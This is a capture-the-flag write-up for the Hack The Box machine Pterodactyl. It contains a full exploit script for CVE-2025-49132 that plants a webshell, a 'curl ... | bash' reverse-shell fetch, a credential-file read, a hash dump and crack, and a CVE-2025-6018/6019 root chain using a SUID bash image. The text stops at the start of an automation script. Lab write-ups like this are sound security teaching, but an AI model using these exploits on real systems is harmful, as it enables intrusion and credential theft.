Hackthebox: Pterodactyl

Foued SAIDI Lv5

Overview

Pterodactyl is a medium-difficulty Linux machine from Hack The Box dealing initially with a vulnerable Pterodactyl Panel v1.11.10 instance that we exploit through CVE-2025-49132, a PEAR pearcmd Local File Inclusion to Remote Code Execution chain, giving us a foothold as the low-privileged wwwrun user. From there, we dump the panel’s MariaDB database to recover a bcrypt hash for the phileasfogg3 user which we then crack with John and rockyou to pivot to SSH. For privilege escalation we chain two fresh CVEs: CVE-2025-6018 (polkit pam_env bypass via ~/.pam_environment) to gain allow_active privileges, and CVE-2025-6019 (udisks2 XFS loop-setup race condition) to expose a SUID bash from a crafted XFS image we upload, finally winning the race and dropping into a root shell.

Pterodactyl
Pterodactyl

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT     STATE  SERVICE    VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
443/tcp closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), OpenWrt 22.03 (Linux 5.10) (92%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (92%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

We have our usual ssh on 22 and an nginx 1.21.5 web application on port 80 that redirects us to pterodactyl.htb, which we add to our /etc/hosts file.

Web Application - http://pterodactyl.htb/

Browsing to the application, we land on a MonitorLand-styled landing page. PHP is running as version 8.4.8. A quick look at the changelog gives us some valuable enumeration data:

http://pterodactyl.htb/changelog.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

So we have:

  • A play.pterodactyl.htb subdomain routed via nginx (which we add to our /etc/hosts as well, and the panel actually sits on panel.pterodactyl.htb).
  • Pterodactyl Panel v1.11.10 running on the panel subdomain backed by MariaDB 11.8.3.
  • PHP-PEAR is enabled (yes, this is the gift we needed).
  • A phpinfo() page exposed at http://pterodactyl.htb/phpinfo.php .

CVE-2025-49132 - Pterodactyl Panel pearcmd LFI to RCE

A quick lookup gives us CVE-2025-49132 and the matching public PoC over at exploit-db . The bug lives in the locales/locale.json endpoint, which loads files based on attacker-controlled locale and namespace parameters. Because PEAR’s pearcmd.php is available on disk and the parameters aren’t sanitized, we can chain two requests:

  1. First we use pearcmd config-create as an LFI write primitive to drop a PHP webshell into /tmp/shell.php.
  2. Then we include the dropped file via locale=../../../../../tmp&namespace=shell to execute it.

I cleaned up the public PoC into an interactive exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
#!/usr/bin/env python3
"""
CVE-2025-49132 PEAR Exploit - Improved Version
Based on working exploit with enhanced output parsing and features
"""

import sys
import subprocess
import re
import argparse

class Colors:
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
BOLD = '\033[1m'

def print_info(msg):
print(f"{Colors.BLUE}[*]{Colors.END} {msg}")

def print_success(msg):
print(f"{Colors.GREEN}[+]{Colors.END} {msg}")

def print_error(msg):
print(f"{Colors.RED}[-]{Colors.END} {msg}")

def clean_output(raw_output):
"""
Clean PEAR config output to extract actual command results
"""
if not raw_output:
return None

lines = raw_output.split('\n')
results = []

for line in lines:
# Skip empty lines
if not line.strip():
continue

# Look for command output patterns
if any(pattern in line for pattern in ['uid=', 'HTB{', 'root:', 'www-data', 'bin/', 'total ']):
# Clean up ANSI codes and PEAR artifacts
clean = re.sub(r'\x1b\[[0-9;]*m', '', line) # Remove ANSI codes
clean = re.sub(r'.*?(uid=\d+.*?)\s+uid=.*', r'\1', clean) # Remove duplicates
clean = clean.strip()

if clean and clean not in results:
results.append(clean)

# If we found specific patterns, return them
if results:
return '\n'.join(results)

# Otherwise try regex extraction
patterns = [
r'(uid=\d+\([^)]+\)[^\n<]+)', # uid output
r'(HTB\{[^}]+\})', # HTB flags
r'(root:[^:]+:[^:]+:[^:]+:[^:]+:[^:]+:[^\n]+)', # /etc/passwd format
r'(total\s+\d+.*)', # ls output
]

for pattern in patterns:
match = re.search(pattern, raw_output, re.MULTILINE)
if match:
return match.group(1)

# If nothing found, check if there's any non-JSON output
if not raw_output.strip().startswith('{'):
# Return first 500 chars of output
return raw_output[:500].strip()

return None

def exploit(host, command, pear_path="../../../../../../usr/share/php/PEAR", port=None, verbose=False):
"""
Execute the PEAR exploit
"""
# Escape spaces in command
payload = command.replace(' ', '\\$\\{IFS\\}')

# Build URL with optional port
base_url = f"http://{host}:{port}" if port else f"http://{host}"

print_info(f"Target: {base_url}")
print_info(f"PEAR Path: {pear_path}")
print_info(f"Command: {command}\n")

# Step 1: Write payload
print_info("Writing payload to /tmp/shell.php...")
write_url = (
f'{base_url}/locales/locale.json?'
f'+config-create+/&'
f'locale={pear_path}&'
f'namespace=pearcmd&'
f'/<?=system(\'{payload}\')?>+/tmp/shell.php'
)

if verbose:
print(f"Write URL: {write_url}\n")

write_cmd = f'curl -s "{write_url}"'
write_result = subprocess.run(write_cmd, shell=True, capture_output=True, text=True)

if verbose:
print(f"Write response: {write_result.stdout[:200]}\n")

print_success("Payload written")

# Step 2: Execute payload
print_info("Executing payload...")
exec_url = f'{base_url}/locales/locale.json?locale=../../../../../tmp&namespace=shell'

if verbose:
print(f"Exec URL: {exec_url}\n")

exec_cmd = f'curl -s "{exec_url}"'
exec_result = subprocess.run(exec_cmd, shell=True, capture_output=True, text=True)

# Clean and display output
output = clean_output(exec_result.stdout)

if output:
print_success("Command executed successfully!\n")
print(f"{Colors.BOLD}{'='*60}")
print("OUTPUT:")
print(f"{'='*60}{Colors.END}")
print(output)
print(f"{Colors.BOLD}{'='*60}{Colors.END}")
return True, output
else:
print_error("No output received or command failed")
if verbose:
print(f"\nRaw response:\n{exec_result.stdout[:500]}")
return False, None

def interactive_shell(host, pear_path, port=None):
"""
Provide an interactive shell
"""
print_success("Entering interactive shell mode")
print_info("Type 'exit' or 'quit' to leave\n")

while True:
try:
command = input(f"{Colors.GREEN}shell>{Colors.END} ").strip()

if command.lower() in ['exit', 'quit', 'q']:
print_info("Exiting shell")
break

if not command:
continue

# Execute command
success, output = exploit(host, command, pear_path, port, verbose=False)

if not success:
print_error("Command execution failed")

print() # Empty line for readability

except KeyboardInterrupt:
print("\n")
print_info("Exiting shell")
break
except Exception as e:
print_error(f"Error: {e}")

def find_pear_path(host, port=None):
"""
Try to find the correct PEAR path
"""
print_info("Searching for PEAR installation...\n")

base_url = f"http://{host}:{port}" if port else f"http://{host}"

pear_paths = [
("../../../../../../usr/share/php/PEAR", "Debian/Ubuntu (php-pear package)"),
("../../../../../../usr/lib/php8/PEAR", "PHP 8 (Alpine/custom)"),
("../../../../../../usr/share/pear", "Alternative Debian/Ubuntu"),
("../../../../../../usr/local/lib/php/PEAR", "Custom PHP install"),
("../../../../../../opt/php/lib/php/PEAR", "Optional PHP install"),
("../../../../../usr/share/php/PEAR", "Shallower web root (depth 5)"),
("../../../../../../../usr/share/php/PEAR", "Deeper web root (depth 7)"),
]

for pear_path, description in pear_paths:
url = f'{base_url}/locales/locale.json?locale={pear_path}'
cmd = f'curl -s "{url}"'

print(f"Testing: {description}")
print(f" Path: {pear_path}")

result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

# Check if PEAR-related content is found
if any(keyword in result.stdout.lower() for keyword in ['pear', 'pearcmd', 'system.php', 'config']):
print_success(f"Found PEAR at: {pear_path}\n")
return pear_path

print_error("Not found")
print()

print_error("PEAR not found in common locations")
print_info("You may need to specify the path manually with --pear-path")
return None

def main():
parser = argparse.ArgumentParser(
description='CVE-2025-49132 PEAR Exploit (Optimized)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Execute single command
python3 exploit.py --host panel.pterodactyl.htb --command "id"

# With custom PEAR path and port
python3 exploit.py --host 192.168.1.100 --port 8080 --command "whoami" --pear-path "../../../../../../usr/lib/php8/PEAR"

# Interactive shell
python3 exploit.py --host panel.pterodactyl.htb --interactive

# Find PEAR path
python3 exploit.py --host panel.pterodactyl.htb --find-pear

# Verbose mode
python3 exploit.py --host panel.pterodactyl.htb --command "ls -la" -v
'''
)

parser.add_argument('--host', required=True, help='Target hostname or IP')
parser.add_argument('--port', type=int, help='Target port (default: 80)')
parser.add_argument('--command', '-c', help='Command to execute')
parser.add_argument('--pear-path', default='../../../../../../usr/share/php/PEAR',
help='Path to PEAR (default: ../../../../../../usr/share/php/PEAR)')
parser.add_argument('--interactive', '-i', action='store_true', help='Interactive shell mode')
parser.add_argument('--find-pear', action='store_true', help='Search for PEAR path')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

args = parser.parse_args()

print(f"""
{Colors.BOLD}╔═══════════════════════════════════════════════════════════╗
β•‘ CVE-2025-49132 PEAR RCE Exploit β•‘
β•‘ Target: {args.host:43s} β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•{Colors.END}
""")

# Find PEAR path mode
if args.find_pear:
found_path = find_pear_path(args.host, args.port)
if found_path:
print_success(f"Use this path: --pear-path \"{found_path}\"")
return

# Interactive mode
if args.interactive:
interactive_shell(args.host, args.pear_path, args.port)
return

# Single command mode
if not args.command:
print_error("Please specify --command or use --interactive mode")
parser.print_help()
return

exploit(args.host, args.command, args.pear_path, args.port, args.verbose)

if __name__ == '__main__':
main()

Hosting a quick shell.sh reverse shell payload locally and feeding it into the exploit in interactive mode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ python3 exploit.py --host panel.pterodactyl.htb --interactive

╔═══════════════════════════════════════════════════════════╗
β•‘ CVE-2025-49132 PEAR RCE Exploit β•‘
β•‘ Target: panel.pterodactyl.htb β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[+] Entering interactive shell mode
[*] Type 'exit' or 'quit' to leave

shell> curl http://10.10.16.4/shell.sh | bash
[*] Target: http://panel.pterodactyl.htb
[*] PEAR Path: ../../../../../../usr/share/php/PEAR
[*] Command: curl http://10.10.16.4/shell.sh | bash

[*] Writing payload to /tmp/shell.php...
[+] Payload written
[*] Executing payload...

And we catch a callback as the wwwrun user:

1
2
3
4
5
6
7
8
9
$ nc -lvnp 9001     
listening on [any] 9001 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.246.68] 48166
sh: cannot set terminal process group (1211): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ id
id
uid=474(wwwrun) gid=477(www) groups=477(www)
sh-4.4$

Pivoting through the Panel database

We landed inside the panel’s database/Factories directory. Most files here are uninteresting Laravel factories (including a UserSSHKeyFactory.php full of fake test keys, don’t waste time on them):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
sh-4.4$ pwd
pwd
/var/www/pterodactyl/database/Factories
sh-4.4$ ls
ls
AllocationFactory.php
ApiKeyFactory.php
BackupFactory.php
DatabaseFactory.php
DatabaseHostFactory.php
EggFactory.php
EggVariableFactory.php
LocationFactory.php
NestFactory.php
NodeFactory.php
ScheduleFactory.php
ServerFactory.php
SubuserFactory.php
TaskFactory.php
UserFactory.php
UserSSHKeyFactory.php
sh-4.4$ cat UserSSHKeyFactory.php
cat UserSSHKeyFactory.php
<?php

namespace Database\Factories;

use phpseclib3\Crypt\PublicKeyLoader;
use Illuminate\Database\Eloquent\Factories\Factory;

class UserSSHKeyFactory extends Factory
{
/**
* Some fake public keys generated for test purposes.
*
* @var string[]
*/
protected static array $keys = [
'dsa' => 'ssh-dss AAAAB3NzaC1kc3MAAACBAPfiWwEFvBOafdUmHDPjXsUttt+65FHSZSCVVeEFOTaL7Y3d0CJyrtck8KS1vmXHSb8QFBY2B1yVSb/reaQvNreWZN3KDYfLbF57/zimBn+IrHrJR+ZglhOxDRHoGPWK7q9jYIrOLwoOjkNKXxz1eOHKUgufFfSNtIRLycEXczLrAAAAFQC6LnBErezotG52jN4JostfC/TfEwAAAIACuTxRzYFDXHAxFICeqqY9w+y+v2yQfdeQ1BgCq2GMagUYfOdqnjizTO9M614r/nXZK1SV10TqhUcQtkJzDQIUtBqzBF5cIC/1cIFKzXi5rNHs8Y4bz/PBD+EbQJdiy+1so1oi790r710bqnkzTravAOJ5rGyfuQRLt+f+kuS9NAAAAIEA7tjGtJuXGUtPIXfnrMYS1iOWryO4irqnvaWfel002/DaGaNjRghNe/cUBYlAsjPhGJ1F7BQlLAY1koliTY6l0svs7ZPBM5QOumrr8OaNXGGVIq/RkkxuZHmRoUL2qH3DGYaktPUn4vFPliiAmGWOHAEu1K6B4g4vG/SKgMRpIvc=',
'rsa_2048' => 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC4VVsHFO5MxvCtAPyoKGANWyuwZ4fvllvFog5RJbfpDpw8etDFVGEXl+uRR8p79g9oV7MscoFo6HiWrJc4/4vlP665msjosILdIcbnuzMhvXnKisaGh9zflkpyR3KhUxoHxqYp2q8XtffjKKAHz1a8o7OUG6fwaKIqu+d0PoICZQ==',
'rsa_4096' => 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo/YLm2SPSlOIG7AagBSmEe5c0b2PLPzUGFp3gARhD6n6ydBS40TlWzeg2qV95lh6fWBd8LsNgPOFmmuKuNZdBjAGeTY4gxKfHY1vK5/zOI4jPPqAMcCMNfd82aM97kx6dO8Hw1R79OyVpOZylpXLHayVPGHUK37Tpih4W7TeVSMrOqQF9F72lzhwgEtkdjm4gLBL6RpdNXrdnjIaNVnuade0Sb3w384vecZPe+S/997WirOMNy2JU4NdMHEnSjd1/i463RpN96AsXFAu1zl9nrXVhA7DVfSHoigXAqbs/xav8PRpLgAKjYpPohxQ9Nu6tP5jRUhfWdYwNFFp/aWloD/0JdP9LqcBBc9sO9TLkz3fBiUf11VM/QT1UhO84G+ahMxVn95jA472VPUe8uKff69lzbvSavEE6qcQX2TzVKOSi1E26Fzc6IZ/tHEuGEbGFxTsiQ1GysVZ0wr1p6ftd1SVqH5F/oaEK7UO8+xn/syEqaPf6A0eJWRNc0+lHA1sIRjmo9MOBvbkKExkx5JLHgGG81DYDFdZUuHY1BgSxJJcmNWV5BKRm350EbgRngoYI5tB3tCiZVW1PI8qyff9mBae11LY5GPlUeDnPrMvSdCKMIWrg7nC8SbndBCO3Fx4z7G2dTQy4ZmY7Ae9jR4pyg7tTOI3qgl8Z462GZi/jzw==',
'ed25519' => 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaXIq09NH4a93EVdrvHYiZ67Wj+GBEBQ9ou4W0qSYm2',
];

/**
* Returns a fake public key for use on the system.
*
* @return array
*/
public function definition()
{
$key = PublicKeyLoader::loadPublicKey(static::$keys['ed25519']);

return [
'name' => $this->faker->name(),
'public_key' => $key->toString('PKCS8'),
'fingerprint' => $key->getFingerprint('sha256'),
];
}

/**
* Returns a DSA public key.
*/
public function dsa(): self
{
$key = PublicKeyLoader::loadPublicKey(static::$keys['dsa']);

return $this->state([
'public_key' => $key->toString('PKCS8'),
'fingerprint' => $key->getFingerprint('sha256'),
]);
}

/**
* Returns an RSA public key, if "weak" is specified a 1024-bit RSA key is returned
* which should fail validation when being stored.
*/
public function rsa(bool $weak = false): self
{
$key = PublicKeyLoader::loadPublicKey(static::$keys[$weak ? 'rsa_2048' : 'rsa_4096']);

return $this->state([
'public_key' => $key->toString('PKCS8'),
'fingerprint' => $key->getFingerprint('sha256'),
]);
}
}
sh-4.4$

Pterodactyl is a Laravel app, so the database creds live in /var/www/pterodactyl/.env:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
sh-4.4$ cat /var/www/pterodactyl/.env
cat /var/www/pterodactyl/.env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false

LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis

HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8

MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
[email protected]
MAIL_FROM_NAME="Pterodactyl Panel"
# You should set this to your domain to prevent it defaulting to 'localhost', causing
# mail servers such as Gmail to reject your mail.
#
# @see: https://github.com/pterodactyl/panel/pull/3110
# MAIL_EHLO_DOMAIN=panel.example.com

APP_SERVICE_AUTHOR="[email protected]"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false
sh-4.4$

pterodactyl:PteraPanel on the panel MariaDB database. Let’s list the tables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sh-4.4$ mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "SHOW TABLES;"
<-u pterodactyl -pPteraPanel panel -e "SHOW TABLES;"
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Tables_in_panel
activity_log_subjects
activity_logs
allocations
api_keys
api_logs
audit_logs
backups
database_hosts
databases
egg_mount
egg_variables
eggs
failed_jobs
jobs
locations
migrations
mount_node
mount_server
mounts
nests
nodes
notifications
password_resets
recovery_tokens
schedules
server_transfers
server_variables
servers
sessions
settings
subusers
tasks
tasks_log
user_ssh_keys
users

The users table looks juicy, let’s dump it:

1
2
3
4
5
6
sh-4.4$ mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "select * from users;"      
<dactyl -pPteraPanel panel -e "select * from users;"
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
id external_id uuid username email name_first name_last password remember_token language root_admin use_totp totp_secret totp_authenticated_at gravatar created_at updated_at
2 NULL 5e6d956e-7be9-41ec-8016-45e434de8420 headmonitor [email protected] Head Monitor $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU en 1 0 NULL NULL 1 2025-09-16 17:15:41 2025-09-16 17:15:41
3 NULL ac7ba5c2-6fd8-4600-aeb6-f15a3906982b phileasfogg3 [email protected] Phileas Fogg$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 en 0 0 NULL NULL 1 2025-09-16 19:44:19 2025-11-07 18:28:50

Two bcrypt hashes: headmonitor (root admin on the panel) and phileasfogg3. We feed both into John with rockyou and only phileasfogg3 cracks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ cat hash
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
1g 0:00:00:40 DONE (2026-02-12 00:18) 0.02466g/s 342.6p/s 342.6c/s 342.6C/s goodman..superpet
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

phileasfogg3:!QAZ2wsx is also a system user we can SSH in as, giving us our user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ ssh [email protected]
The authenticity of host 'pterodactyl.htb (10.129.246.68)' can't be established.
ED25519 key fingerprint is: SHA256:FOOqnHbybkpXftYgyrorbBxkgW0L4yMSLYxG8F87SDE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pterodactyl.htb' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
([email protected]) Password:
Have a lot of fun...
Last login: Thu Feb 12 07:22:04 2026 from 10.10.16.4
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> cat user.txt
11543f7fc7cec51b3500943d13bfcb9e
phileasfogg3@pterodactyl:~>

Privilege Escalation - CVE-2025-6018 + CVE-2025-6019

A quick check on the user’s mailbox gives us a nice hint at the intended path:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
phileasfogg3@pterodactyl:/var/spool/mail> cat phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE β€” Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to [email protected]

β€” HeadMonitor
System Administrator
phileasfogg3@pterodactyl:/var/spool/mail>

β€œUnusual udisksd activity” + a SUSE box running an outdated udisks2/polkit combo is a textbook setup for the freshly published Qualys CVE-2025-6018 & CVE-2025-6019 chain:

  • CVE-2025-6018 β€” pam_env on openSUSE/SUSE evaluates ~/.pam_environment, letting an unprivileged user inject XDG_SEAT/XDG_VTNR to be treated as an allow_active (β€œphysically present”) session by polkit.
  • CVE-2025-6019 β€” udisks2 Filesystem.Resize has a race condition during loop-device mounting: the freshly mounted filesystem is briefly exposed under /tmp/blockdev.*/ before permissions are tightened, allowing the contents (including a SUID bash we ship inside the image) to be executed.

The plan is:

  1. On the attacker box, craft an XFS image containing a SUID /bin/bash (the target’s bash, so glibc versions match) and scp it to the box.
  2. On the target, write XDG_SEAT=seat0 and XDG_VTNR=1 to ~/.pam_environment, then re-login over SSH so polkit treats us as allow_active.
  3. Loop-mount the malicious XFS image via udisksctl, fire the resize via D-Bus, race the watcher to grab the SUID bash from /tmp/blockdev*/.
  4. Run bash -p for euid=0.

Here’s the manual walkthrough first, just to make sure the chain is understood:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#################
# Attack Machine
#################

# Install required tools
sudo apt install xfsprogs -y

# Clean old files
rm -f xfs.image
rm -rf xfsmnt

# Create 300MB image
dd if=/dev/zero of=xfs.image bs=1M count=300

# Format image as XFS
sudo mkfs.xfs -f xfs.image

# Verify filesystem type
file xfs.image
# Expected: "SGI XFS filesystem data"

# Mount image
mkdir xfsmnt
sudo mount xfs.image xfsmnt

# Add SUID bash inside image
sudo cp /bin/bash xfsmnt/bash
sudo chmod 4755 xfsmnt/bash

# Verify SUID bit
sudo ls -la xfsmnt/bash

# Unmount image
sudo umount xfsmnt

# Final verification
file xfs.image
hexdump -C xfs.image | head -3
# Should see: "XFSB" magic bytes

# Transfer image to target
scp xfs.image [email protected]:/tmp/xfs_real.image


##############
# On Target
##############

# Verify uploaded file
hexdump -C /tmp/xfs_real.image | head -20

# Kill volume monitor if needed
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

# Setup loop device
udisksctl loop-setup --file /tmp/xfs_real.image --no-user-interaction
# Example output:
# Mapped file /tmp/xfs_real.image as /dev/loop5
# ⚠️ Note the loop number (e.g., loop5)

# Wait for block device mount and SUID exposure
while true; do
/tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break;
done 2>/dev/null &

# Trigger filesystem resize via D-Bus
# Replace loop5 with your actual loop device
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop5 \
--method org.freedesktop.UDisks2.Filesystem.Resize \
0 '{}'

# Verify SUID bash
ls -l /tmp/blockdev*/bash
# Expected:
# -rwsr-xr-x 1 root root ... /tmp/blockdev.XXXX/bash

##############
# Privilege Escalation
##############

# Execute SUID bash
/tmp/blockdev*/bash -p

# Verify root privileges
id
# Expected:
# uid=1002(phileasfogg3) euid=0(root)

# Read root flag
cat /root/root.txt

Once the manual chain works, here’s a single script that wraps everything up end-to-end. It pulls the target’s own /bin/bash first (so it matches the box’s libc), builds the XFS image, drops it onto the target, sets ~/.pam_environment, then races the udisks2 resize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/bin/bash

# HTB Pterodactyl Root Exploit Automation Script
# This script automates the full exploit chain from SSH access to root.txt
# Usage: ./pterodactyl_exploit.sh

set -e

TARGET="[email protected]"
PASSWORD="!QAZ2wsx"
LOCAL_IP=$(hostname -I | awk '{print $1}')
IMAGE_SIZE=300 # MB

echo "[*] HTB Pterodactyl Root Exploit Automation"
echo "[*] Target: $TARGET"
echo ""

# Step 1: Create malicious XFS image locally
